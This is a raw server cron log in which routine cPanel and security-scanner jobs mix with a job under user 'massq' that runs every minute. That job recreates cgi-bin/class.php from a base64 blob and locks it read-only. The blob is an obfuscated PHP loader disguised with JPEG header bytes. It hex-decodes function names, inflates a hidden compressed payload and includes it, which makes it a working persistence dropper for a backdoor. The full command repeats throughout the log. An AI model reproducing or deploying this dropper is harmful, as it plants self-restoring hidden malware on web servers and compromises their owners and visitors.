Sep  3 10:29:01 server CROND[25495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:29:01 server CROND[25496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:29:01 server CROND[25497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:30:01 server CROND[25888]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 10:30:01 server CROND[25890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:30:01 server CROND[25896]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 10:30:01 server CROND[25895]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 10:30:01 server CROND[25899]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:30:01 server CROND[25898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:30:01 server CROND[25894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:30:01 server CROND[25891]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:31:01 server CROND[26832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:31:01 server CROND[26833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:31:01 server CROND[26834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:32:01 server CROND[27215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:32:01 server CROND[27216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:32:01 server CROND[27217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:33:01 server CROND[27617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:33:01 server CROND[27618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:33:01 server CROND[27619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:34:01 server CROND[28017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:34:01 server CROND[28018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:34:01 server CROND[28019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:35:01 server CROND[28423]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 10:35:01 server CROND[28428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:35:01 server CROND[28433]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:35:01 server CROND[28434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:35:01 server CROND[28438]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 10:35:01 server CROND[28442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:35:01 server CROND[28440]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 10:35:01 server CROND[28436]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:35:01 server CROND[28443]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 10:36:01 server CROND[29355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:36:01 server CROND[29356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:36:01 server CROND[29357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:37:01 server CROND[29745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:37:01 server CROND[29746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:37:01 server CROND[29747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:38:01 server CROND[30136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:38:01 server CROND[30137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:38:01 server CROND[30138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:39:01 server CROND[30529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:39:01 server CROND[30530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:39:01 server CROND[30532]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 10:39:01 server CROND[30531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:40:01 server CROND[30932]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 10:40:01 server CROND[30935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:40:01 server CROND[30937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:40:01 server CROND[30940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:40:01 server CROND[30941]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 10:40:01 server CROND[30938]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
